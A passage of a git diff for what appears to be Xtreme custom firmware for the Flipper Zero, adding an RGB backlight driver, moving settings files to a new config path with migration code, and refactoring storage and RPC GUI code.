INT_PATH(POWER_SETTINGS_FILE_NAME) +#define POWER_SETTINGS_OLD_PATH INT_PATH(".power.settings") +#define POWER_SETTINGS_PATH CFG_PATH("power.settings") #define POWER_SETTINGS_MAGIC (0x21) -#define SAVE_POWER_SETTINGS(x) \ - saved_struct_save( \ - POWER_SETTINGS_PATH, (x), sizeof(uint32_t), POWER_SETTINGS_MAGIC, POWER_SETTINGS_VER) +bool SAVE_POWER_SETTINGS(uint32_t* x); -#define LOAD_POWER_SETTINGS(x) \ - saved_struct_load( \ - POWER_SETTINGS_PATH, (x), sizeof(uint32_t), POWER_SETTINGS_MAGIC, POWER_SETTINGS_VER) +bool LOAD_POWER_SETTINGS(uint32_t* x); diff --git a/applications/services/power/power_settings_filename.h b/applications/services/power/power_settings_filename.h deleted file mode 100644 index 6a3be534c..000000000 --- a/applications/services/power/power_settings_filename.h +++ /dev/null @@ -1,3 +0,0 @@ -#pragma once - -#define POWER_SETTINGS_FILE_NAME ".power.settings" \ No newline at end of file diff --git a/applications/services/rgb_backlight/application.fam b/applications/services/rgb_backlight/application.fam new file mode 100644 index 000000000..70fc0dc9a --- /dev/null +++ b/applications/services/rgb_backlight/application.fam @@ -0,0 +1,9 @@ +App( + appid="rgb_backlight", + name="RGB Backlight", + apptype=FlipperAppType.SERVICE, + entry_point="rgb_backlight_srv", + sdk_headers=[ + "rgb_backlight.h", + ], +) diff --git a/applications/services/rgb_backlight/rgb_backlight.c b/applications/services/rgb_backlight/rgb_backlight.c new file mode 100644 index 000000000..d7ab89975 --- /dev/null +++ b/applications/services/rgb_backlight/rgb_backlight.c @@ -0,0 +1,180 @@ +/* + RGB backlight FlipperZero driver + Copyright (C) 2022-2023 Victor Nikitchuk (https://github.com/quen0n) + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +#include "rgb_backlight.h" +#include +#include + +#define RGB_BACKLIGHT_SETTINGS_VERSION 5 +#define RGB_BACKLIGHT_SETTINGS_PATH CFG_PATH("rgb_backlight.settings") + +#define COLOR_COUNT (sizeof(colors) / sizeof(RGBBacklightColor)) + +#define TAG "RGB Backlight" + +static RGBBacklightSettings rgb_settings = { + .version = RGB_BACKLIGHT_SETTINGS_VERSION, + .display_color_index = 0, + .settings_is_loaded = false}; + +static const RGBBacklightColor colors[] = { + {"Orange", 255, 69, 0}, + {"Red", 255, 0, 0}, + {"Maroon", 128, 0, 0}, + {"Yellow", 255, 255, 0}, + {"Olive", 128, 128, 0}, + {"Lime", 0, 255, 0}, + {"Green", 0, 128, 0}, + {"Aqua", 0, 255, 127}, + {"Cyan", 0, 210, 210}, + {"Azure", 0, 127, 255}, + {"Teal", 0, 128, 128}, + {"Blue", 0, 0, 255}, + {"Navy", 0, 0, 128}, + {"Purple", 128, 0, 128}, + {"Fuchsia", 255, 0, 255}, + {"Pink", 173, 31, 173}, + {"Brown", 165, 42, 42}, + {"White", 255, 192, 203}, +}; + +uint8_t rgb_backlight_get_color_count(void) { + return COLOR_COUNT; +} + +const char* rgb_backlight_get_color_text(uint8_t index) { + return colors[index].name; +} + +void rgb_backlight_load_settings(void) { + //НС Π·Π°Π³Ρ€ΡƒΠΆΠ°Ρ‚ΡŒ Π΄Π°Π½Π½Ρ‹Π΅ ΠΈΠ· Π²Π½ΡƒΡ‚Ρ€Π΅Π½Π½Π΅ΠΉ памяти ΠΏΡ€ΠΈ Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠ΅ Π² Ρ€Π΅ΠΆΠΈΠΌΠ΅ DFU + FuriHalRtcBootMode bm = furi_hal_rtc_get_boot_mode(); + if(bm == FuriHalRtcBootModeDfu) { + rgb_settings.settings_is_loaded = true; + return; + } + + RGBBacklightSettings settings; + File* file = storage_file_alloc(furi_record_open(RECORD_STORAGE)); + const size_t settings_size = sizeof(RGBBacklightSettings); + + FURI_LOG_I(TAG, "loading settings from \"%s\"", RGB_BACKLIGHT_SETTINGS_PATH); + bool fs_result = + storage_file_open(file, RGB_BACKLIGHT_SETTINGS_PATH, FSAM_READ, FSOM_OPEN_EXISTING); + + if(fs_result) { + uint16_t bytes_count = storage_file_read(file, &settings, settings_size); + + if(bytes_count != settings_size) { + fs_result = false; + } + } + + if(fs_result) { + FURI_LOG_I(TAG, "load success"); + if(settings.version != RGB_BACKLIGHT_SETTINGS_VERSION) { + FURI_LOG_E( + TAG, + "version(%d != %d) mismatch", + settings.version, + RGB_BACKLIGHT_SETTINGS_VERSION); + } else { + memcpy(&rgb_settings, &settings, settings_size); + } + } else { + FURI_LOG_E(TAG, "load failed, %s", storage_file_get_error_desc(file)); + } + + storage_file_close(file); + storage_file_free(file); + furi_record_close(RECORD_STORAGE); + rgb_settings.settings_is_loaded = true; +}; + +void rgb_backlight_save_settings(void) { + RGBBacklightSettings settings; + File* file = storage_file_alloc(furi_record_open(RECORD_STORAGE)); + const size_t settings_size = sizeof(RGBBacklightSettings); + + FURI_LOG_I(TAG, "saving settings to \"%s\"", RGB_BACKLIGHT_SETTINGS_PATH); + + memcpy(&settings, &rgb_settings, settings_size); + + bool fs_result = + storage_file_open(file, RGB_BACKLIGHT_SETTINGS_PATH, FSAM_WRITE, FSOM_CREATE_ALWAYS); + + if(fs_result) { + uint16_t bytes_count = storage_file_write(file, &settings, settings_size); + + if(bytes_count != settings_size) { + fs_result = false; + } + } + + if(fs_result) { + FURI_LOG_I(TAG, "save success"); + } else { + FURI_LOG_E(TAG, "save failed, %s", storage_file_get_error_desc(file)); + } + + storage_file_close(file); + storage_file_free(file); + furi_record_close(RECORD_STORAGE); +}; + +RGBBacklightSettings* rgb_backlight_get_settings(void) { + if(!rgb_settings.settings_is_loaded) { + rgb_backlight_load_settings(); + } + return &rgb_settings; +} + +void rgb_backlight_set_color(uint8_t color_index) { + if(color_index > (rgb_backlight_get_color_count() - 1)) color_index = 0; + rgb_settings.display_color_index = color_index; +} + +void rgb_backlight_update(uint8_t brightness) { + if(!rgb_settings.settings_is_loaded) { + rgb_backlight_load_settings(); + } + + static uint8_t last_color_index = 255; + static uint8_t last_brightness = 123; + + if(last_brightness == brightness && last_color_index == rgb_settings.display_color_index) + return; + + last_brightness = brightness; + last_color_index = rgb_settings.display_color_index; + + for(uint8_t i = 0; i < SK6805_get_led_count(); i++) { + uint8_t r = colors[rgb_settings.display_color_index].red * (brightness / 255.0f); + uint8_t g = colors[rgb_settings.display_color_index].green * (brightness / 255.0f); + uint8_t b = colors[rgb_settings.display_color_index].blue * (brightness / 255.0f); + + SK6805_set_led_color(i, r, g, b); + } + + SK6805_update(); +} + +int32_t rgb_backlight_srv(void* p) { + UNUSED(p); + return 0; +} diff --git a/applications/services/rgb_backlight/rgb_backlight.h b/applications/services/rgb_backlight/rgb_backlight.h new file mode 100644 index 000000000..c00eb0716 --- /dev/null +++ b/applications/services/rgb_backlight/rgb_backlight.h @@ -0,0 +1,87 @@ +/* + RGB backlight FlipperZero driver + Copyright (C) 2022-2023 Victor Nikitchuk (https://github.com/quen0n) + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +#include +#include "SK6805.h" + +#ifdef __cplusplus +extern "C" { +#endif + +typedef struct { + char* name; + uint8_t red; + uint8_t green; + uint8_t blue; +} RGBBacklightColor; + +typedef struct { + uint8_t version; + uint8_t display_color_index; + bool settings_is_loaded; +} RGBBacklightSettings; + +/** + * @brief ΠŸΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ Ρ‚Π΅ΠΊΡƒΡ‰ΠΈΠ΅ настройки RGB-подсвСтки + * + * @return Π£ΠΊΠ°Π·Π°Ρ‚Π΅Π»ΡŒ Π½Π° структуру настроСк + */ +RGBBacklightSettings* rgb_backlight_get_settings(void); + +/** + * @brief Π—Π°Π³Ρ€ΡƒΠ·ΠΈΡ‚ΡŒ настройки подсвСтки с SD-ΠΊΠ°Ρ€Ρ‚Ρ‹ + */ +void rgb_backlight_load_settings(void); + +/** + * @brief Π‘ΠΎΡ…Ρ€Π°Π½ΠΈΡ‚ΡŒ Ρ‚Π΅ΠΊΡƒΡ‰ΠΈΠ΅ настройки RGB-подсвСтки + */ +void rgb_backlight_save_settings(void); + +/** + * @brief ΠŸΡ€ΠΈΠΌΠ΅Π½ΠΈΡ‚ΡŒ Ρ‚Π΅ΠΊΡƒΡ‰ΠΈΠ΅ настройки RGB-подсвСтки + * + * @param brightness Π―Ρ€ΠΊΠΎΡΡ‚ΡŒ свСчСния (0-255) + */ +void rgb_backlight_update(uint8_t brightness); + +/** + * @brief Π£ΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ Ρ†Π²Π΅Ρ‚ RGB-подсвСтки + * + * @param color_index ИндСкс Ρ†Π²Π΅Ρ‚Π° (0 - rgb_backlight_get_color_count()) + */ +void rgb_backlight_set_color(uint8_t color_index); + +/** + * @brief ΠŸΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ количСство доступных Ρ†Π²Π΅Ρ‚ΠΎΠ² + * + * @return Число доступных Π²Π°Ρ€ΠΈΠ°Π½Ρ‚ΠΎΠ² Ρ†Π²Π΅Ρ‚Π° + */ +uint8_t rgb_backlight_get_color_count(void); + +/** + * @brief ΠŸΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ тСкстовоС Π½Π°Π·Π²Π°Π½ΠΈΠ΅ Ρ†Π²Π΅Ρ‚Π° + * + * @param index ИндСкс ΠΈΠ· доступных Π²Π°Ρ€ΠΈΠ°Π½Ρ‚ΠΎΠ² Ρ†Π²Π΅Ρ‚Π° + * @return Π£ΠΊΠ°Π·Π°Ρ‚Π΅Π»ΡŒ Π½Π° строку с Π½Π°Π·Π²Π°Π½ΠΈΠ΅ΠΌ Ρ†Π²Π΅Ρ‚Π° + */ +const char* rgb_backlight_get_color_text(uint8_t index); + +#ifdef __cplusplus +} +#endif diff --git a/applications/services/rpc/rpc_gui.c b/applications/services/rpc/rpc_gui.c index e66553d51..0c70702cf 100644 --- a/applications/services/rpc/rpc_gui.c +++ b/applications/services/rpc/rpc_gui.c @@ -12,6 +12,8 @@ typedef enum { #define RpcGuiWorkerFlagAny (RpcGuiWorkerFlagTransmit | RpcGuiWorkerFlagExit) +#define RPC_GUI_INPUT_RESET (0u) + typedef struct { RpcSession* session; Gui* gui; @@ -26,10 +28,23 @@ typedef struct { bool virtual_display_not_empty; bool is_streaming; + + uint32_t input_key_counter[InputKeyMAX]; + uint32_t input_counter; } RpcGuiSystem; -static void - rpc_system_gui_screen_stream_frame_callback(uint8_t* data, size_t size, void* context) { +static const PB_Gui_ScreenOrientation rpc_system_gui_screen_orientation_map[] = { + [CanvasOrientationHorizontal] = PB_Gui_ScreenOrientation_HORIZONTAL, + [CanvasOrientationHorizontalFlip] = PB_Gui_ScreenOrientation_HORIZONTAL_FLIP, + [CanvasOrientationVertical] = PB_Gui_ScreenOrientation_VERTICAL, + [CanvasOrientationVerticalFlip] = PB_Gui_ScreenOrientation_VERTICAL_FLIP, +}; + +static void rpc_system_gui_screen_stream_frame_callback( + uint8_t* data, + size_t size, + CanvasOrientation orientation, + void* context) { furi_assert(data); furi_assert(context); @@ -39,6 +54,8 @@ static void furi_assert(size == rpc_gui->transmit_frame->content.gui_screen_frame.data->size); memcpy(buffer, data, size); + rpc_gui->transmit_frame->content.gui_screen_frame.orientation = + rpc_system_gui_screen_orientation_map[orientation]; furi_thread_flags_set(furi_thread_get_id(rpc_gui->transmit_thread), RpcGuiWorkerFlagTransmit); } @@ -48,12 +65,22 @@ static int32_t rpc_system_gui_screen_stream_frame_transmit_thread(void* context) RpcGuiSystem* rpc_gui = (RpcGuiSystem*)context; + uint32_t transmit_time = 0; while(true) { uint32_t flags = furi_thread_flags_wait(RpcGuiWorkerFlagAny, FuriFlagWaitAny, FuriWaitForever); + if(flags & RpcGuiWorkerFlagTransmit) { + transmit_time = furi_get_tick(); rpc_send(rpc_gui->session, rpc_gui->transmit_frame); + transmit_time = furi_get_tick() - transmit_time; + + // Guaranteed bandwidth reserve + uint32_t extra_delay = transmit_time / 20; + if(extra_delay > 500) extra_delay = 500; + if(extra_delay) furi_delay_tick(extra_delay); } + if(flags & RpcGuiWorkerFlagExit) { break; } @@ -194,6 +221,22 @@ static void return; } + // Event sequence shenanigans + event.sequence_source = INPUT_SEQUENCE_SOURCE_SOFTWARE; + if(event.type == InputTypePress) { + rpc_gui->input_counter++; + if(rpc_gui->input_counter == RPC_GUI_INPUT_RESET) rpc_gui->input_counter++; + rpc_gui->input_key_counter[event.key] = rpc_gui->input_counter; + } + if(rpc_gui->input_key_counter[event.key] == RPC_GUI_INPUT_RESET) { + FURI_LOG_W(TAG, "Out of sequence input event: key %d, type %d,", event.key, event.type); + } + event.sequence_counter = rpc_gui->input_key_counter[event.key]; + if(event.type == InputTypeRelease) { + rpc_gui->input_key_counter[event.key] = RPC_GUI_INPUT_RESET; + } + + // Submit event FuriPubSub* input_events = furi_record_open(RECORD_INPUT_EVENTS); furi_check(input_events); furi_pubsub_publish(input_events, &event); diff --git a/applications/services/storage/storage.h b/applications/services/storage/storage.h index da583ce50..78dae7a2c 100644 --- a/applications/services/storage/storage.h +++ b/applications/services/storage/storage.h @@ -10,12 +10,16 @@ extern "C" { #define STORAGE_INT_PATH_PREFIX "/int" #define STORAGE_EXT_PATH_PREFIX "/ext" #define STORAGE_ANY_PATH_PREFIX "/any" -#define STORAGE_APP_DATA_PATH_PREFIX "/app" +#define STORAGE_APP_DATA_PATH_PREFIX "/data" +#define STORAGE_APP_ASSETS_PATH_PREFIX "/assets" +#define STORAGE_CFG_PATH_PREFIX STORAGE_EXT_PATH_PREFIX "/.config" #define INT_PATH(path) STORAGE_INT_PATH_PREFIX "/" path #define EXT_PATH(path) STORAGE_EXT_PATH_PREFIX "/" path #define ANY_PATH(path) STORAGE_ANY_PATH_PREFIX "/" path #define APP_DATA_PATH(path) STORAGE_APP_DATA_PATH_PREFIX "/" path +#define APP_ASSETS_PATH(path) STORAGE_APP_ASSETS_PATH_PREFIX "/" path +#define CFG_PATH(path) STORAGE_CFG_PATH_PREFIX "/" path #define RECORD_STORAGE "storage" @@ -146,6 +150,17 @@ bool storage_file_eof(File* file); */ bool storage_file_exists(Storage* storage, const char* path); +/** + * @brief Copy data from one opened file to another opened file + * Size bytes will be copied from current position of source file to current position of destination file + * + * @param source source file + * @param destination destination file + * @param size size of data to copy + * @return bool success flag + */ +bool storage_file_copy_to_file(File* source, File* destination, uint32_t size); + /******************* Dir Functions *******************/ /** Opens a directory to get objects from it diff --git a/applications/services/storage/storage_external_api.c b/applications/services/storage/storage_external_api.c index 8d8220f81..ffc3da4bc 100644 --- a/applications/services/storage/storage_external_api.c +++ b/applications/services/storage/storage_external_api.c @@ -9,6 +9,7 @@ #define MAX_NAME_LENGTH 256 #define MAX_EXT_LEN 16 +#define FILE_BUFFER_SIZE 512 #define TAG "StorageAPI" @@ -251,6 +252,26 @@ bool storage_file_exists(Storage* storage, const char* path) { return exist; } +bool storage_file_copy_to_file(File* source, File* destination, uint32_t size) { + uint8_t* buffer = malloc(FILE_BUFFER_SIZE); + + while(size) { + uint32_t read_size = size > FILE_BUFFER_SIZE ? FILE_BUFFER_SIZE : size; + if(storage_file_read(source, buffer, read_size) != read_size) { + break; + } + + if(storage_file_write(destination, buffer, read_size) != read_size) { + break; + } + + size -= read_size; + } + + free(buffer); + return size == 0; +} + /****************** DIR ******************/ static bool storage_dir_open_internal(File* file, const char* path) { diff --git a/applications/services/storage/storage_glue.c b/applications/services/storage/storage_glue.c index 5dabfa386..63e44c9d7 100644 --- a/applications/services/storage/storage_glue.c +++ b/applications/services/storage/storage_glue.c @@ -73,29 +73,34 @@ uint32_t storage_data_get_timestamp(StorageData* storage) { /****************** storage glue ******************/ -bool storage_has_file(const File* file, StorageData* storage_data) { - bool result = false; +static StorageFile* storage_get_file(const File* file, StorageData* storage) { + StorageFile* storage_file_ref = NULL; StorageFileList_it_t it; - for(StorageFileList_it(it, storage_data->files); !StorageFileList_end_p(it); + for(StorageFileList_it(it, storage->files); !StorageFileList_end_p(it); StorageFileList_next(it)) { - const StorageFile* storage_file = StorageFileList_cref(it); + StorageFile* storage_file = StorageFileList_ref(it); if(storage_file->file->file_id == file->file_id) { - result = true; + storage_file_ref = storage_file; break; } } - return result; + return storage_file_ref; } -bool storage_path_already_open(FuriString* path, StorageFileList_t array) { +bool storage_has_file(const File* file, StorageData* storage) { + return storage_get_file(file, storage) != NULL; +} + +bool storage_path_already_open(FuriString* path, StorageData* storage) { bool open = false; StorageFileList_it_t it; - for(StorageFileList_it(it, array); !StorageFileList_end_p(it); StorageFileList_next(it)) { + for(StorageFileList_it(it, storage->files); !StorageFileList_end_p(it); + StorageFileList_next(it)) { const StorageFile* storage_file = StorageFileList_cref(it); if(furi_string_cmp(storage_file->path, path) == 0) { @@ -108,43 +113,15 @@ bool storage_path_already_open(FuriString* path, StorageFileList_t array) { } void storage_set_storage_file_data(const File* file, void* file_data, StorageData* storage) { - StorageFile* founded_file = NULL; - - StorageFileList_it_t it; - - for(StorageFileList_it(it, storage->files); !StorageFileList_end_p(it); - StorageFileList_next(it)) { - StorageFile* storage_file = StorageFileList_ref(it); - - if(storage_file->file->file_id == file->file_id) { - founded_file = storage_file; - break; - } - } - - furi_check(founded_file != NULL); - - founded_file->file_data = file_data; + StorageFile* storage_file_ref = storage_get_file(file, storage); + furi_check(storage_file_ref != NULL); + storage_file_ref->file_data = file_data; } void* storage_get_storage_file_data(const File* file, StorageData* storage) { - const StorageFile* founded_file = NULL; - - StorageFileList_it_t it; - - for(StorageFileList_it(it, storage->files); !StorageFileList_end_p(it); - StorageFileList_next(it)) { - const StorageFile* storage_file = StorageFileList_cref(it); - - if(storage_file->file->file_id == file->file_id) { - founded_file = storage_file; - break; - } - } - - furi_check(founded_file != NULL); - - return founded_file->file_data; + StorageFile* storage_file_ref = storage_get_file(file, storage); + furi_check(storage_file_ref != NULL); + return storage_file_ref->file_data; } void storage_push_storage_file(File* file, FuriString* path, StorageData* storage) { diff --git a/applications/services/storage/storage_glue.h b/applications/services/storage/storage_glue.h index bf0a1c69e..f10640345 100644 --- a/applications/services/storage/storage_glue.h +++ b/applications/services/storage/storage_glue.h @@ -60,7 +60,7 @@ struct StorageData { }; bool storage_has_file(const File* file, StorageData* storage_data); -bool storage_path_already_open(FuriString* path, StorageFileList_t files); +bool storage_path_already_open(FuriString* path, StorageData* storage_data); void storage_set_storage_file_data(const File* file, void* file_data, StorageData* storage); void* storage_get_storage_file_data(const File* file, StorageData* storage); diff --git a/applications/services/storage/storage_i.h b/applications/services/storage/storage_i.h index 85df5d926..cb7f16e47 100644 --- a/applications/services/storage/storage_i.h +++ b/applications/services/storage/storage_i.h @@ -13,6 +13,7 @@ extern "C" { #define STORAGE_COUNT (ST_INT + 1) #define APPS_DATA_PATH EXT_PATH("apps_data") +#define APPS_ASSETS_PATH EXT_PATH("apps_assets") typedef struct { ViewPort* view_port; diff --git a/applications/services/storage/storage_processing.c b/applications/services/storage/storage_processing.c index cab1edff5..2216debc4 100644 --- a/applications/services/storage/storage_processing.c +++ b/applications/services/storage/storage_processing.c @@ -2,6 +2,17 @@ #include #include +#define STORAGE_PATH_PREFIX_LEN 4u +_Static_assert( + sizeof(STORAGE_ANY_PATH_PREFIX) == STORAGE_PATH_PREFIX_LEN + 1, + "Any path prefix len mismatch"); +_Static_assert( + sizeof(STORAGE_EXT_PATH_PREFIX) == STORAGE_PATH_PREFIX_LEN + 1, + "Ext path prefix len mismatch"); +_Static_assert( + sizeof(STORAGE_INT_PATH_PREFIX) == STORAGE_PATH_PREFIX_LEN + 1, + "Int path prefix len mismatch"); + #define FS_CALL(_storage, _fn) ret = _storage->fs_api->_fn; static bool storage_type_is_valid(StorageType type) { @@ -26,13 +37,19 @@ static StorageData* get_storage_by_file(File* file, StorageData* storages) { static const char* cstr_path_without_vfs_prefix(FuriString* path) { const char* path_cstr = furi_string_get_cstr(path); - return path_cstr + MIN(4u, strlen(path_cstr)); + return path_cstr + MIN(STORAGE_PATH_PREFIX_LEN, strlen(path_cstr)); } static StorageType storage_get_type_by_path(FuriString* path) { StorageType type = ST_ERROR; const char* path_cstr = furi_string_get_cstr(path); + if(furi_string_size(path) > STORAGE_PATH_PREFIX_LEN) { + if(path_cstr[STORAGE_PATH_PREFIX_LEN] != '/') { + return ST_ERROR; + } + } + if(memcmp(path_cstr, STORAGE_EXT_PATH_PREFIX, strlen(STORAGE_EXT_PATH_PREFIX)) == 0) { type = ST_EXT; } else if(memcmp(path_cstr, STORAGE_INT_PATH_PREFIX, strlen(STORAGE_INT_PATH_PREFIX)) == 0) { @@ -43,7 +60,6 @@ static StorageType storage_get_type_by_path(FuriString* path) { return type; } - static void storage_path_change_to_real_storage(FuriString* path, StorageType real_storage) { if(furi_string_search(path, STORAGE_ANY_PATH_PREFIX) == 0) { switch(real_storage) { @@ -61,7 +77,7 @@ static void storage_path_change_to_real_storage(FuriString* path, StorageType re } } -FS_Error storage_get_data(Storage* app, FuriString* path, StorageData** storage) { +static FS_Error storage_get_data(Storage* app, FuriString* path, StorageData** storage) { StorageType type = storage_get_type_by_path(path); if(storage_type_is_valid(type)) { @@ -95,7 +111,7 @@ bool storage_process_file_open( file->error_id = storage_get_data(app, path, &storage); if(file->error_id == FSE_OK) { - if(storage_path_already_open(path, storage->files)) { + if(storage_path_already_open(path, storage)) { file->error_id = FSE_ALREADY_OPEN; } else { if(access_mode & FSAM_WRITE) { @@ -252,7 +268,7 @@ bool storage_process_dir_open(Storage* app, File* file, FuriString* path) { file->error_id = storage_get_data(app, path, &storage); if(file->error_id == FSE_OK) { - if(storage_path_already_open(path, storage->files)) { + if(storage_path_already_open(path, storage)) { file->error_id = FSE_ALREADY_OPEN; } else { storage_push_storage_file(file, path, storage); @@ -341,7 +357,7 @@ static FS_Error storage_process_common_remove(Storage* app, FuriString* path) { FS_Error ret = storage_get_data(app, path, &storage); do { - if(storage_path_already_open(path, storage->files)) { + if(storage_path_already_open(path, storage)) { ret = FSE_ALREADY_OPEN; break; } @@ -454,7 +470,7 @@ void storage_process_alias( FuriString* apps_data_path_with_appsid = furi_string_alloc_set(APPS_DATA_PATH "/"); furi_string_cat(apps_data_path_with_appsid, furi_thread_get_appid(thread_id)); - // "/app" -> "/ext/apps_data/appsid" + // "/data" -> "/ext/apps_data/appsid" furi_string_replace_at( path, 0, @@ -472,6 +488,25 @@ void storage_process_alias( } furi_string_free(apps_data_path_with_appsid); + } else if(furi_string_start_with(path, STORAGE_APP_ASSETS_PATH_PREFIX)) { + FuriString* apps_assets_path_with_appsid = furi_string_alloc_set(APPS_ASSETS_PATH "/"); + furi_string_cat(apps_assets_path_with_appsid, furi_thread_get_appid(thread_id)); + + // "/assets" -> "/ext/apps_assets/appsid" + furi_string_replace_at( + path, + 0, + strlen(STORAGE_APP_ASSETS_PATH_PREFIX), + furi_string_get_cstr(apps_assets_path_with_appsid)); + + furi_string_free(apps_assets_path_with_appsid); + } else if(furi_string_start_with(path, STORAGE_CFG_PATH_PREFIX)) { + // Create config folder if it doesn't exist + FuriString* config_path = furi_string_alloc_set(STORAGE_CFG_PATH_PREFIX); + if(create_folders && storage_process_common_stat(app, config_path, NULL) != FSE_OK) { + storage_process_common_mkdir(app, config_path); + } + furi_string_free(config_path); } } diff --git a/applications/services/storage/storages/storage_ext.c b/applications/services/storage/storages/storage_ext.c index 530c88f85..d802d6e9f 100644 --- a/applications/services/storage/storages/storage_ext.c +++ b/applications/services/storage/storages/storage_ext.c @@ -618,8 +618,10 @@ static const FS_Api fs_api = { }; void storage_ext_init(StorageData* storage) { + fatfs_init(); + SDData* sd_data = malloc(sizeof(SDData)); - sd_data->fs = &USERFatFS; + sd_data->fs = &fatfs_object; sd_data->path = "0:/"; sd_data->sd_was_present = true; diff --git a/applications/services/xtreme/assets.c b/applications/services/xtreme/assets.c index ce73e4f87..2e4e0bda9 100644 --- a/applications/services/xtreme/assets.c +++ b/applications/services/xtreme/assets.c @@ -93,6 +93,8 @@ void swap(XtremeAssets* x, FuriString* p, File* f) { icon(&x->I_DolphinWait_61x59, "iButton/DolphinWait_61x59", p, f); icon(&x->I_iButtonDolphinVerySuccess_108x52, "iButton/iButtonDolphinVerySuccess_108x52", p, f); icon(&x->I_DolphinReadingSuccess_59x63, "Infrared/DolphinReadingSuccess_59x63", p, f); + icon(&x->I_Lockscreen, "Interface/Lockscreen", p, f); + icon(&x->I_WarningDolphin_45x42, "Interface/WarningDolphin_45x42", p, f); icon(&x->I_NFC_dolphin_emulation_47x61, "NFC/NFC_dolphin_emulation_47x61", p, f); icon(&x->I_passport_bad_46x49, "Passport/passport_bad_46x49", p, f); icon(&x->I_passport_DB, "Passport/passport_DB", p, f); @@ -123,6 +125,8 @@ void XTREME_ASSETS_LOAD() { xtreme_assets->I_DolphinWait_61x59 = &I_DolphinWait_61x59; xtreme_assets->I_iButtonDolphinVerySuccess_108x52 = &I_iButtonDolphinVerySuccess_108x52; xtreme_assets->I_DolphinReadingSuccess_59x63 = &I_DolphinReadingSuccess_59x63; + xtreme_assets->I_Lockscreen = &I_Lockscreen; + xtreme_assets->I_WarningDolphin_45x42 = &I_WarningDolphin_45x42; xtreme_assets->I_NFC_dolphin_emulation_47x61 = &I_NFC_dolphin_emulation_47x61; xtreme_assets->I_passport_bad_46x49 = &I_passport_bad_46x49; xtreme_assets->I_passport_DB = &I_passport_DB; diff --git a/applications/services/xtreme/assets.h b/applications/services/xtreme/assets.h index f987fd475..a4995fd04 100644 --- a/applications/services/xtreme/assets.h +++ b/applications/services/xtreme/assets.h @@ -20,6 +20,8 @@ typedef struct { const Icon* I_DolphinWait_61x59; const Icon* I_iButtonDolphinVerySuccess_108x52; const Icon* I_DolphinReadingSuccess_59x63; + const Icon* I_Lockscreen; + const Icon* I_WarningDolphin_45x42; const Icon* I_NFC_dolphin_emulation_47x61; const Icon* I_passport_bad_46x49; const Icon* I_passport_DB; diff --git a/applications/services/xtreme/settings.c b/applications/services/xtreme/settings.c index bfc3629f4..799c1a768 100644 --- a/applications/services/xtreme/settings.c +++ b/applications/services/xtreme/settings.c @@ -27,28 +27,44 @@ void XTREME_SETTINGS_LOAD() { sizeof(XtremeSettings), XTREME_SETTINGS_MAGIC, XTREME_SETTINGS_VERSION); + if(!loaded) { + Storage* storage = furi_record_open(RECORD_STORAGE); + storage_common_copy(storage, XTREME_SETTINGS_OLD_PATH, XTREME_SETTINGS_PATH); + storage_common_copy(storage, XTREME_SETTINGS_OLD_INT_PATH, XTREME_SETTINGS_PATH); + storage_common_remove(storage, XTREME_SETTINGS_OLD_PATH); + storage_common_remove(storage, XTREME_SETTINGS_OLD_INT_PATH); + furi_record_close(RECORD_STORAGE); + loaded = saved_struct_load( + XTREME_SETTINGS_PATH, + xtreme_settings, + sizeof(XtremeSettings), + XTREME_SETTINGS_MAGIC, + XTREME_SETTINGS_VERSION); + } } if(!loaded) { - if(!skip) { - storage_simply_remove(furi_record_open(RECORD_STORAGE), XTREME_SETTINGS_PATH_OLD); - furi_record_close(RECORD_STORAGE); - } memset(xtreme_settings, 0, sizeof(XtremeSettings)); strlcpy(xtreme_settings->asset_pack, "", MAX_PACK_NAME_LEN); // SFW xtreme_settings->anim_speed = 100; // 100% xtreme_settings->cycle_anims = 0; // Meta.txt xtreme_settings->unlock_anims = false; // OFF + xtreme_settings->fallback_anim = true; // ON + xtreme_settings->wii_menu = true; // ON + xtreme_settings->lockscreen_time = true; // ON + xtreme_settings->lockscreen_date = true; // ON + xtreme_settings->lockscreen_statusbar = true; // ON + xtreme_settings->lockscreen_prompt = true; // ON xtreme_settings->battery_icon = BatteryIconBarPercent; // Bar % xtreme_settings->status_icons = true; // ON xtreme_settings->bar_borders = true; // ON xtreme_settings->bar_background = false; // OFF + xtreme_settings->sort_dirs_first = true; // ON + xtreme_settings->dark_mode = false; // OFF xtreme_settings->bad_bt = false; // USB xtreme_settings->bad_bt_remember = false; // OFF xtreme_settings->butthurt_timer = 43200; // 12 H - xtreme_settings->sort_dirs_first = true; // ON - xtreme_settings->dark_mode = false; // OFF - xtreme_settings->left_handed = false; // OFF + xtreme_settings->rgb_backlight = false; // OFF } } } diff --git a/applications/services/xtreme/settings.h b/applications/services/xtreme/settings.h index 562a37c73..ea4838e5a 100644 --- a/applications/services/xtreme/settings.h +++ b/applications/services/xtreme/settings.h @@ -1,7 +1,5 @@ #pragma once -#include "settings_filename.h" - #include #include #include @@ -15,29 +13,35 @@ extern "C" { #define MAX_PACK_NAME_LEN 32 -#define XTREME_SETTINGS_VERSION (5) -#define XTREME_SETTINGS_PATH_OLD INT_PATH(XTREME_SETTINGS_FILE_NAME) -#define XTREME_SETTINGS_PATH EXT_PATH(XTREME_SETTINGS_FILE_NAME) +#define XTREME_SETTINGS_VERSION (10) #define XTREME_SETTINGS_MAGIC (0x69) +#define XTREME_SETTINGS_OLD_INT_PATH INT_PATH(".xtreme.settings") +#define XTREME_SETTINGS_OLD_PATH EXT_PATH(".xtreme.settings") +#define XTREME_SETTINGS_PATH CFG_PATH("xtreme.settings") + +#define 